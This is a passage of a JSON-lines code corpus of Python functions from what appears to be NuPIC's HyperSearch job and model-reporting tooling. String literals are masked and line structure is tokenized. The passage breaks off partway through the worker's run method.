{"signature": "def __openAndInitCSVFile(self, modelInfo):", "body": "<EOL>basePath = self.__outputDirAbsPath<EOL>reportCSVName = \"<STR_LIT>\" % (self.__outputLabel,)<EOL>reportCSVPath = self.__reportCSVPath = os.path.join(basePath, reportCSVName)<EOL>backupCSVPath = None<EOL>if os.path.exists(reportCSVPath):<EOL><INDENT>backupCSVPath = self.__backupCSVPath = _backupFile(reportCSVPath)<EOL><DEDENT>if self.__replaceReport:<EOL><INDENT>mode = \"<STR_LIT:w>\"<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT:a>\"<EOL><DEDENT>csv = self.__csvFileObj = open(reportCSVPath, mode)<EOL>if not self.__replaceReport and backupCSVPath:<EOL><INDENT>print(file=csv)<EOL>print(file=csv)<EOL><DEDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>for key in self.__sortedVariableNames:<EOL><INDENT>print(\"<STR_LIT>\" % key, end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>for key in self.__sortedMetricsKeys:<EOL><INDENT>print(\"<STR_LIT>\" % key, end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>print(file=csv)<EOL>", "docstring": "- Backs up old report csv file;\n- opens the report csv file in append or overwrite mode (per\n  self.__replaceReport);\n- emits column fields;\n- sets up self.__sortedVariableNames, self.__csvFileObj,\n  self.__backupCSVPath, and self.__reportCSVPath\n\nParameters:\n----------------------------------------------------------------------\nmodelInfo:      First _NupicModelInfo instance passed to emit()\nretval:         nothing", "id": "f17598:c3:m3"}
{"signature": "def __init__(self, nupicJobID):", "body": "self.__nupicJobID = nupicJobID<EOL>jobInfo = _clientJobsDB().jobInfo(nupicJobID)<EOL>assert jobInfo is not None, \"<STR_LIT>\" % nupicJobID<EOL>assert jobInfo.jobId == nupicJobID, \"<STR_LIT>\" % (jobInfo.jobId, nupicJobID)<EOL>_emit(Verbosity.DEBUG, \"<STR_LIT>\" % pprint.pformat(jobInfo, indent=<NUM_LIT:4>))<EOL>if jobInfo.params is not None:<EOL><INDENT>self.__params = json.loads(jobInfo.params)<EOL><DEDENT>else:<EOL><INDENT>self.__params = None<EOL><DEDENT>", "docstring": "_NupicJob constructor\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         Nupic Client JobID of the job", "id": "f17598:c4:m0"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" % (self.__class__.__name__, self.__nupicJobID)<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         representation of this _NupicJob instance", "id": "f17598:c4:m1"}
{"signature": "def getJobStatus(self, workers):", "body": "jobInfo = self.JobStatus(self.__nupicJobID, workers)<EOL>return jobInfo<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nworkers:  If this job was launched outside of the nupic job engine, then this\n           is an array of subprocess Popen instances, one for each worker\nretval:         _NupicJob.JobStatus instance", "id": "f17598:c4:m2"}
{"signature": "def getJobID(self):", "body": "return self.__nupicJobID<EOL>", "docstring": "Semi-private method for retrieving the jobId\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         Nupic Client JobID of this _NupicJob instance", "id": "f17598:c4:m3"}
{"signature": "def getParams(self):", "body": "return self.__params<EOL>", "docstring": "Semi-private method for retrieving the job-specific params\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         Job params dict corresponding to the JSON params value\n                        returned by ClientJobsDAO.jobInfo()", "id": "f17598:c4:m4"}
{"signature": "def __init__(self, reason):", "body": "self.__reason = reason<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nreason:   completion reason value from ClientJobsDAO.jobInfo()", "id": "f17598:c5:m0"}
{"signature": "def __init__(self, nupicJobID):", "body": "super(_HyperSearchJob, self).__init__(nupicJobID)<EOL>self.__expectedNumModels = None<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nnupicJobID:      Nupic Client JobID of a HyperSearch job\nretval:         nothing", "id": "f17598:c6:m0"}
{"signature": "def queryModelIDs(self):", "body": "jobID = self.getJobID()<EOL>modelCounterPairs = _clientJobsDB().modelsGetUpdateCounters(jobID)<EOL>modelIDs = tuple(x[<NUM_LIT:0>] for x in modelCounterPairs)<EOL>return modelIDs<EOL>", "docstring": "Queuries DB for model IDs of all currently instantiated models\n        associated with this HyperSearch job.\n\n        See also: _iterModels()\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         A sequence of Nupic modelIDs", "id": "f17598:c6:m1"}
{"signature": "def getExpectedNumModels(self, searchMethod):", "body": "return self.__expectedNumModels<EOL>", "docstring": "Returns:  the total number of expected models if known, -1 if it can't\n        be determined.\n\n        NOTE: this can take a LONG time to complete for HyperSearches with a huge\n              number of possible permutations.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        searchMethod:   \"v2\" is the only method currently supported\n        retval:         The total number of expected models, if known; -1 if unknown", "id": "f17598:c6:m2"}
{"signature": "@classmethod<EOL><INDENT>def makeSearchJobParamsDict(cls, options, forRunning=False):<DEDENT>", "body": "if options[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>hsVersion = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % options[\"<STR_LIT>\"])<EOL><DEDENT>maxModels = options[\"<STR_LIT>\"]<EOL>if options[\"<STR_LIT:action>\"] == \"<STR_LIT>\" and maxModels is None:<EOL><INDENT>maxModels = <NUM_LIT:1><EOL><DEDENT>useTerminators = options[\"<STR_LIT>\"]<EOL>if useTerminators is None:<EOL><INDENT>params = {<EOL>\"<STR_LIT>\":          hsVersion,<EOL>\"<STR_LIT>\":          maxModels,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>params = {<EOL>\"<STR_LIT>\":          hsVersion,<EOL>\"<STR_LIT>\":     useTerminators,<EOL>\"<STR_LIT>\":          maxModels,<EOL>}<EOL><DEDENT>if forRunning:<EOL><INDENT>params[\"<STR_LIT>\"] = str(uuid.uuid1())<EOL><DEDENT>if options[\"<STR_LIT>\"]:<EOL><INDENT>params[\"<STR_LIT>\"] = options[\"<STR_LIT>\"]<EOL><DEDENT>elif options[\"<STR_LIT>\"]:<EOL><INDENT>params[\"<STR_LIT:description>\"] = options[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>with open(options[\"<STR_LIT>\"], mode=\"<STR_LIT:r>\") as fp:<EOL><INDENT>params[\"<STR_LIT:description>\"] = json.load(fp)<EOL><DEDENT><DEDENT>return params<EOL>", "docstring": "Constructs a dictionary of HyperSearch parameters suitable for converting\n        to json and passing as the params argument to ClientJobsDAO.jobInsert()\n        Parameters:\n        ----------------------------------------------------------------------\n        options:        NupicRunPermutations options dict\n        forRunning:     True if the params are for running a Hypersearch job; False\n                        if params are for introspection only.\n\n        retval:         A dictionary of HyperSearch parameters for\n                        ClientJobsDAO.jobInsert()", "id": "f17598:c7:m0"}
{"signature": "@classmethod<EOL><INDENT>def getOptimizationMetricInfo(cls, searchJobParams):<DEDENT>", "body": "if searchJobParams[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>search = HypersearchV2(searchParams=searchJobParams)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(searchJobParams[\"<STR_LIT>\"]))<EOL><DEDENT>info = search.getOptimizationMetricInfo()<EOL>return info<EOL>", "docstring": "Retrives the optimization key name and optimization function.\n\n        Parameters:\n        ---------------------------------------------------------\n        searchJobParams:\n                        Parameter for passing as the searchParams arg to\n                        Hypersearch constructor.\n        retval:       (optimizationMetricKey, maximize)\n                      optimizationMetricKey: which report key to optimize for\n                      maximize: True if we should try and maximize the optimizeKey\n                        metric. False if we should minimize it.", "id": "f17598:c8:m0"}
{"signature": "def __init__(self, rawInfo):", "body": "self.__rawInfo = rawInfo<EOL>self.__cachedResults = None<EOL>assert self.__rawInfo.params is not None<EOL>self.__cachedParams = None<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nrawInfo:        A single model information element as returned by\n                ClientJobsDAO.modelsInfo()\nretval:         nothing.", "id": "f17598:c9:m0"}
{"signature": "def __repr__(self):", "body": "return (\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>\"<STR_LIT>\",<EOL>self.__rawInfo.jobId,<EOL>self.__rawInfo.modelId,<EOL>self.__rawInfo.status,<EOL>self.__rawInfo.completionReason,<EOL>self.__rawInfo.updateCounter,<EOL>self.__rawInfo.numRecords))<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         Representation of this _NupicModelInfo instance.", "id": "f17598:c9:m1"}
{"signature": "def getModelID(self):", "body": "return self.__rawInfo.modelId<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         Nupic modelID associated with this model info.", "id": "f17598:c9:m2"}
{"signature": "def statusAsString(self):", "body": "return \"<STR_LIT:%s>\" % self.__rawInfo.status<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:    Human-readable string representation of the model's status.", "id": "f17598:c9:m3"}
{"signature": "def getModelDescription(self):", "body": "params = self.__unwrapParams()<EOL>if \"<STR_LIT>\" in params:<EOL><INDENT>return params[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>paramSettings = self.getParamLabels()<EOL>items = []<EOL>for key, value in list(paramSettings.items()):<EOL><INDENT>items.append(\"<STR_LIT>\" % (key, value))<EOL><DEDENT>return \"<STR_LIT:.>\".join(items)<EOL><DEDENT>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         Printable description of the model.", "id": "f17598:c9:m4"}
{"signature": "def getGeneratedDescriptionFile(self):", "body": "return self.__rawInfo.genDescription<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         Contents of the sub-experiment description file for\n                    this model", "id": "f17598:c9:m5"}
{"signature": "def getNumRecords(self):", "body": "return self.__rawInfo.numRecords<EOL>", "docstring": "Paramets:\n----------------------------------------------------------------------\nretval:         The number of records processed by the model.", "id": "f17598:c9:m6"}
{"signature": "def getParamLabels(self):", "body": "params = self.__unwrapParams()<EOL>if \"<STR_LIT>\" in params:<EOL><INDENT>retval = dict()<EOL>queue = [(pair, retval) for pair in<EOL>params[\"<STR_LIT>\"][\"<STR_LIT>\"].items()]<EOL>while len(queue) > <NUM_LIT:0>:<EOL><INDENT>pair, output = queue.pop()<EOL>k, v = pair<EOL>if (\"<STR_LIT>\" in v and \"<STR_LIT>\" in v and<EOL>\"<STR_LIT>\" in v):<EOL><INDENT>output[k] = v[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>if k not in output:<EOL><INDENT>output[k] = dict()<EOL><DEDENT>queue.extend((pair, output[k]) for pair in v.items())<EOL><DEDENT><DEDENT>return retval<EOL><DEDENT>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         a dictionary of model parameter labels. For each entry\n                the key is the name of the parameter and the value\n                is the value chosen for it.", "id": "f17598:c9:m7"}
{"signature": "def __unwrapParams(self):", "body": "if self.__cachedParams is None:<EOL><INDENT>self.__cachedParams = json.loads(self.__rawInfo.params)<EOL>assert self.__cachedParams is not None,\"<STR_LIT>\" % self.__rawInfo.params<EOL><DEDENT>return self.__cachedParams<EOL>", "docstring": "Unwraps self.__rawInfo.params into the equivalent python dictionary\n        and caches it in self.__cachedParams. Returns the unwrapped params\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         Model params dictionary as correpsonding to the json\n                        as returned in ClientJobsDAO.modelsInfo()[x].params", "id": "f17598:c9:m8"}
{"signature": "def getReportMetrics(self):", "body": "return self.__unwrapResults().reportMetrics<EOL>", "docstring": "Retrives a dictionary of metrics designated for report\n        Parameters:\n        ----------------------------------------------------------------------\n        retval: a dictionary of metrics that were collected for the model or\n                an empty dictionary if there aren't any.", "id": "f17598:c9:m9"}
{"signature": "def getOptimizationMetrics(self):", "body": "return self.__unwrapResults().optimizationMetrics<EOL>", "docstring": "Retrives a dictionary of metrics designagted for optimization\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         a dictionary of optimization metrics that were collected\n                        for the model or an empty dictionary if there aren't any.", "id": "f17598:c9:m10"}
{"signature": "def getAllMetrics(self):", "body": "result = self.getReportMetrics()<EOL>result.update(self.getOptimizationMetrics())<EOL>return result<EOL>", "docstring": "Retrives a dictionary of metrics that combines all report and\n        optimization metrics\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         a dictionary of optimization metrics that were collected\n                        for the model; an empty dictionary if there aren't any.", "id": "f17598:c9:m11"}
{"signature": "def __unwrapResults(self):", "body": "if self.__cachedResults is None:<EOL><INDENT>if self.__rawInfo.results is not None:<EOL><INDENT>resultList = json.loads(self.__rawInfo.results)<EOL>assert len(resultList) == <NUM_LIT:2>,\"<STR_LIT>\" % (<EOL>len(resultList), resultList)<EOL>self.__cachedResults = self.ModelResults(<EOL>reportMetrics=resultList[<NUM_LIT:0>],<EOL>optimizationMetrics=resultList[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>self.__cachedResults = self.ModelResults(<EOL>reportMetrics={},<EOL>optimizationMetrics={})<EOL><DEDENT><DEDENT>return self.__cachedResults<EOL>", "docstring": "Unwraps self.__rawInfo.results and caches it in self.__cachedResults;\n        Returns the unwrapped params\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         ModelResults namedtuple instance", "id": "f17598:c9:m12"}
{"signature": "def isWaitingToStart(self):", "body": "waiting = (self.__rawInfo.status == self.__nupicModelStatus_notStarted)<EOL>return waiting<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:       True if the job has not been started yet", "id": "f17598:c9:m13"}
{"signature": "def isRunning(self):", "body": "running = (self.__rawInfo.status == self.__nupicModelStatus_running)<EOL>return running<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:       True if the job has not been started yet", "id": "f17598:c9:m14"}
{"signature": "def isFinished(self):", "body": "finished = (self.__rawInfo.status == self.__nupicModelStatus_completed)<EOL>return finished<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         True if the model's processing has completed (either with\n                success or failure).", "id": "f17598:c9:m15"}
{"signature": "def getCompletionReason(self):", "body": "assert self.isFinished(), \"<STR_LIT>\" % self<EOL>return _ModelCompletionReason(self.__rawInfo.completionReason)<EOL>", "docstring": "Returns _ModelCompletionReason.\n\n        NOTE: it's an error to call this method if isFinished() would return False.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         _ModelCompletionReason instance", "id": "f17598:c9:m16"}
{"signature": "def getCompletionMsg(self):", "body": "assert self.isFinished(), \"<STR_LIT>\" % self<EOL>return self.__rawInfo.completionMsg<EOL>", "docstring": "Returns model completion message.\n\n        NOTE: it's an error to call this method if isFinished() would return False.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         completion message", "id": "f17598:c9:m17"}
{"signature": "def getStartTime(self):", "body": "assert not self.isWaitingToStart(), \"<STR_LIT>\" % self<EOL>return \"<STR_LIT:%s>\" % self.__rawInfo.startTime<EOL>", "docstring": "Returns model evaluation start time.\n\n        NOTE: it's an error to call this method if isWaitingToStart() would\n        return True.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         model evaluation start time", "id": "f17598:c9:m18"}
{"signature": "def getEndTime(self):", "body": "assert self.isFinished(), \"<STR_LIT>\" % self<EOL>return \"<STR_LIT:%s>\" % self.__rawInfo.endTime<EOL>", "docstring": "Returns mode evaluation end time.\n\n        NOTE: it's an error to call this method if isFinished() would return False.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         model evaluation end time", "id": "f17598:c9:m19"}
{"signature": "def main(argv):", "body": "parser = OptionParser(helpString)<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:int>\", default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:str>\", default=None,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:str>\", default=None,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", default=None,<EOL>help=\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:int>\", default=None,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>(options, args) = parser.parse_args(argv[<NUM_LIT:1>:])<EOL>if len(args) != <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(args))<EOL><DEDENT>if (options.jobID and options.params):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if (options.jobID is None and options.params is None):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>initLogging(verbose=True)<EOL>hst = HypersearchWorker(options, argv[<NUM_LIT:1>:])<EOL>if options.params is None:<EOL><INDENT>try:<EOL><INDENT>jobID = hst.run()<EOL><DEDENT>except Exception as e:<EOL><INDENT>jobID = options.jobID<EOL>msg = io.StringIO()<EOL>print(\"<STR_LIT>\" %(ErrorCodes.hypersearchLogicErr, e), file=msg)<EOL>traceback.print_exc(None, msg)<EOL>completionReason = ClientJobsDAO.CMPL_REASON_ERROR<EOL>completionMsg = msg.getvalue()<EOL>hst.logger.error(completionMsg)<EOL>jobsDAO = ClientJobsDAO.get()<EOL>workerCmpReason = jobsDAO.jobGetFields(options.jobID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if workerCmpReason == ClientJobsDAO.CMPL_REASON_SUCCESS:<EOL><INDENT>jobsDAO.jobSetFields(options.jobID, fields=dict(<EOL>cancel=True,<EOL>workerCompletionReason = ClientJobsDAO.CMPL_REASON_ERROR,<EOL>workerCompletionMsg = completionMsg),<EOL>useConnectionID=False,<EOL>ignoreUnchanged=True)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>jobID = None<EOL>completionReason = ClientJobsDAO.CMPL_REASON_SUCCESS<EOL>completionMsg = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>jobID = hst.run()<EOL><DEDENT>except Exception as e:<EOL><INDENT>jobID = hst._options.jobID<EOL>completionReason = ClientJobsDAO.CMPL_REASON_ERROR<EOL>completionMsg = \"<STR_LIT>\" % (e,)<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>if jobID is not None:<EOL><INDENT>cjDAO = ClientJobsDAO.get()<EOL>cjDAO.jobSetCompleted(jobID=jobID,<EOL>completionReason=completionReason,<EOL>completionMsg=completionMsg)<EOL><DEDENT><DEDENT><DEDENT>return jobID<EOL>", "docstring": "The main function of the HypersearchWorker script. This parses the command\nline arguments, instantiates a HypersearchWorker instance, and then\nruns it.\n\nParameters:\n----------------------------------------------------------------------\nretval:     jobID of the job we ran. This is used by unit test code\n              when calling this working using the --params command\n              line option (which tells this worker to insert the job\n              itself).", "id": "f17599:m0"}
{"signature": "def __init__(self, options, cmdLineArgs):", "body": "<EOL>self._options = options<EOL>self.logger = logging.getLogger(\"<STR_LIT:.>\".join(<EOL>['<STR_LIT>', self.__class__.__name__]))<EOL>if options.logLevel is not None:<EOL><INDENT>self.logger.setLevel(options.logLevel)<EOL><DEDENT>self.logger.info(\"<STR_LIT>\" %<EOL>str(cmdLineArgs))<EOL>self.logger.debug(\"<STR_LIT>\" % (pprint.pformat(os.environ)))<EOL>random.seed(<NUM_LIT>)<EOL>self._hs = None<EOL>self._modelIDCtrDict = dict()<EOL>self._modelIDCtrList = []<EOL>self._modelIDSet = set()<EOL>self._workerID = None<EOL>", "docstring": "Instantiate the Hypersearch worker\n\n        Parameters:\n        ---------------------------------------------------------------------\n        options:      The command line options. See the main() method for a\n                        description of these options\n        cmdLineArgs:  Copy of the command line arguments, so we can place them\n                        in the log", "id": "f17599:c0:m0"}
{"signature": "def _processUpdatedModels(self, cjDAO):", "body": "<EOL>curModelIDCtrList = cjDAO.modelsGetUpdateCounters(self._options.jobID)<EOL>if len(curModelIDCtrList) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\"% (str(curModelIDCtrList)))<EOL>self.logger.debug(\"<STR_LIT>\"% (str(self._modelIDCtrList)))<EOL>curModelIDCtrList = sorted(curModelIDCtrList)<EOL>numItems = len(curModelIDCtrList)<EOL>changedEntries = [x for x in zip(range(numItems), curModelIDCtrList,<EOL>self._modelIDCtrList) if x[<NUM_LIT:1>][<NUM_LIT:1>] != x[<NUM_LIT:2>][<NUM_LIT:1>]]<EOL>if len(changedEntries) > <NUM_LIT:0>:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\", str(changedEntries))<EOL>for entry in changedEntries:<EOL><INDENT>(idx, (modelID, curCtr), (_, oldCtr)) = entry<EOL>self._modelIDCtrDict[modelID] = curCtr<EOL>assert (self._modelIDCtrList[idx][<NUM_LIT:0>] == modelID)<EOL>assert (curCtr != oldCtr)<EOL>self._modelIDCtrList[idx][<NUM_LIT:1>] = curCtr<EOL><DEDENT>changedModelIDs = [x[<NUM_LIT:1>][<NUM_LIT:0>] for x in changedEntries]<EOL>modelResults = cjDAO.modelsGetResultAndStatus(changedModelIDs)<EOL>for mResult in modelResults:<EOL><INDENT>results = mResult.results<EOL>if results is not None:<EOL><INDENT>results = json.loads(results)<EOL><DEDENT>self._hs.recordModelProgress(modelID=mResult.modelId,<EOL>modelParams = None,<EOL>modelParamsHash = mResult.engParamsHash,<EOL>results = results,<EOL>completed = (mResult.status == cjDAO.STATUS_COMPLETED),<EOL>completionReason = mResult.completionReason,<EOL>matured = mResult.engMatured,<EOL>numRecords = mResult.numRecords)<EOL><DEDENT><DEDENT>curModelIDSet = set([x[<NUM_LIT:0>] for x in curModelIDCtrList])<EOL>newModelIDs = curModelIDSet.difference(self._modelIDSet)<EOL>if len(newModelIDs) > <NUM_LIT:0>:<EOL><INDENT>self._modelIDSet.update(newModelIDs)<EOL>curModelIDCtrDict = dict(curModelIDCtrList)<EOL>modelInfos = cjDAO.modelsGetResultAndStatus(newModelIDs)<EOL>modelInfos.sort()<EOL>modelParamsAndHashs = cjDAO.modelsGetParams(newModelIDs)<EOL>modelParamsAndHashs.sort()<EOL>for (mResult, mParamsAndHash) in zip(modelInfos,<EOL>modelParamsAndHashs):<EOL><INDENT>modelID = mResult.modelId<EOL>assert (modelID == mParamsAndHash.modelId)<EOL>self._modelIDCtrDict[modelID] = curModelIDCtrDict[modelID]<EOL>self._modelIDCtrList.append([modelID, curModelIDCtrDict[modelID]])<EOL>results = mResult.results<EOL>if results is not None:<EOL><INDENT>results = json.loads(mResult.results)<EOL><DEDENT>self._hs.recordModelProgress(modelID = modelID,<EOL>modelParams = json.loads(mParamsAndHash.params),<EOL>modelParamsHash = mParamsAndHash.engParamsHash,<EOL>results = results,<EOL>completed = (mResult.status == cjDAO.STATUS_COMPLETED),<EOL>completionReason = (mResult.completionReason),<EOL>matured = mResult.engMatured,<EOL>numRecords = mResult.numRecords)<EOL><DEDENT>self._modelIDCtrList.sort()<EOL><DEDENT>", "docstring": "For all models that modified their results since last time this method\n        was called, send their latest results to the Hypersearch implementation.", "id": "f17599:c0:m1"}
{"signature": "def run(self):", "body": "<EOL>options = self._options<EOL>self.logger.info(\"<STR_LIT>\")<EOL>cjDAO = ClientJobsDAO.get()<EOL>self._workerID = cjDAO.getConnectionID()<EOL>if options.clearModels:<EOL><INDENT>cjDAO.modelsClearAll()<EOL><DEDENT>if options.params is not None:<EOL><INDENT>options.jobID = cjDAO.jobInsert(client='<STR_LIT>', cmdLine=\"<STR_LIT>\",<EOL>params=options.params, alreadyRunning=True,<EOL>minimumWorkers=<NUM_LIT:1>, maximumWorkers=<NUM_LIT:1>,<EOL>jobType = cjDAO.JOB_TYPE_HS)<EOL><DEDENT>if options.workerID is not None:<EOL><INDENT>wID = options.workerID<EOL><DEDENT>else:<EOL><INDENT>wID = self._workerID<EOL><DEDENT>buildID = Configuration.get('<STR_LIT>', '<STR_LIT>')<EOL>logPrefix = '<STR_LIT>' %(buildID, wID, options.jobID)<EOL>ExtendedLogger.setLogPrefix(logPrefix)<EOL>if options.resetJobStatus:<EOL><INDENT>cjDAO.jobSetFields(options.jobID,<EOL>fields={'<STR_LIT>': ClientJobsDAO.CMPL_REASON_SUCCESS,<EOL>'<STR_LIT>': False,<EOL>},<EOL>useConnectionID=False,<EOL>ignoreUnchanged=True)<EOL><DEDENT>jobInfo = cjDAO.jobInfo(options.jobID)<EOL>self.logger.info(\"<STR_LIT>\" % (str(clippedObj(jobInfo))))<EOL>jobParams = json.loads(jobInfo.params)<EOL>jsonSchemaPath = os.path.join(os.path.dirname(__file__),<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>validate(jobParams, schemaPath=jsonSchemaPath)<EOL>hsVersion = jobParams.get('<STR_LIT>', None)<EOL>if hsVersion == '<STR_LIT>':<EOL><INDENT>self._hs = HypersearchV2(searchParams=jobParams, workerID=self._workerID,<EOL>cjDAO=cjDAO, jobID=options.jobID, logLevel=options.logLevel)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"% (hsVersion))<EOL><DEDENT>try:<EOL><INDENT>exit = False<EOL>numModelsTotal = <NUM_LIT:0><EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>while not exit:<EOL><INDENT>batchSize = <NUM_LIT:10>              <EOL>modelIDToRun = None<EOL>while modelIDToRun is None:<EOL><INDENT>if options.modelID is None:<EOL><INDENT>self._processUpdatedModels(cjDAO)<EOL>(exit, newModels) = self._hs.createModels(numModels = batchSize)<EOL>if exit:<EOL><INDENT>break<EOL><DEDENT>if len(newModels) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>for (modelParams, modelParamsHash, particleHash) in newModels:<EOL><INDENT>jsonModelParams = json.dumps(modelParams)<EOL>(modelID, ours) = cjDAO.modelInsertAndStart(options.jobID,<EOL>jsonModelParams, modelParamsHash, particleHash)<EOL>if not ours:<EOL><INDENT>mParamsAndHash = cjDAO.modelsGetParams([modelID])[<NUM_LIT:0>]<EOL>mResult = cjDAO.modelsGetResultAndStatus([modelID])[<NUM_LIT:0>]<EOL>results = mResult.results<EOL>if results is not None:<EOL><INDENT>results = json.loads(results)<EOL><DEDENT>modelParams = json.loads(mParamsAndHash.params)<EOL>particleHash = cjDAO.modelsGetFields(modelID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>particleInst = \"<STR_LIT>\" % (<EOL>modelParams['<STR_LIT>']['<STR_LIT:id>'],<EOL>modelParams['<STR_LIT>']['<STR_LIT>'])<EOL>self.logger.info(\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\", modelID,<EOL>mParamsAndHash.engParamsHash.encode('<STR_LIT>'),<EOL>particleHash.encode('<STR_LIT>'), particleInst)<EOL>self._hs.recordModelProgress(modelID = modelID,<EOL>modelParams = modelParams,<EOL>modelParamsHash = mParamsAndHash.engParamsHash,<EOL>results = results,<EOL>completed = (mResult.status == cjDAO.STATUS_COMPLETED),<EOL>completionReason = mResult.completionReason,<EOL>matured = mResult.engMatured,<EOL>numRecords = mResult.numRecords)<EOL><DEDENT>else:<EOL><INDENT>modelIDToRun = modelID<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>modelIDToRun = int(options.modelID)<EOL>mParamsAndHash = cjDAO.modelsGetParams([modelIDToRun])[<NUM_LIT:0>]<EOL>modelParams = json.loads(mParamsAndHash.params)<EOL>modelParamsHash = mParamsAndHash.engParamsHash<EOL>cjDAO.modelSetFields(modelIDToRun,<EOL>dict(engWorkerConnId=self._workerID))<EOL>if False:<EOL><INDENT>for attempt in range(<NUM_LIT:1000>):<EOL><INDENT>paramsHash = hashlib.md5(\"<STR_LIT>\" % (modelIDToRun,<EOL>attempt)).digest()<EOL>particleHash = hashlib.md5(\"<STR_LIT>\" % (modelIDToRun,<EOL>attempt)).digest()<EOL>try:<EOL><INDENT>cjDAO.modelSetFields(modelIDToRun,<EOL>dict(engParamsHash=paramsHash,<EOL>engParticleHash=particleHash))<EOL>success = True<EOL><DEDENT>except:<EOL><INDENT>success = False<EOL><DEDENT>if success:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not success:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>(modelIDToRun, ours) = cjDAO.modelInsertAndStart(options.jobID,<EOL>mParamsAndHash.params, modelParamsHash)<EOL><DEDENT><DEDENT><DEDENT>if 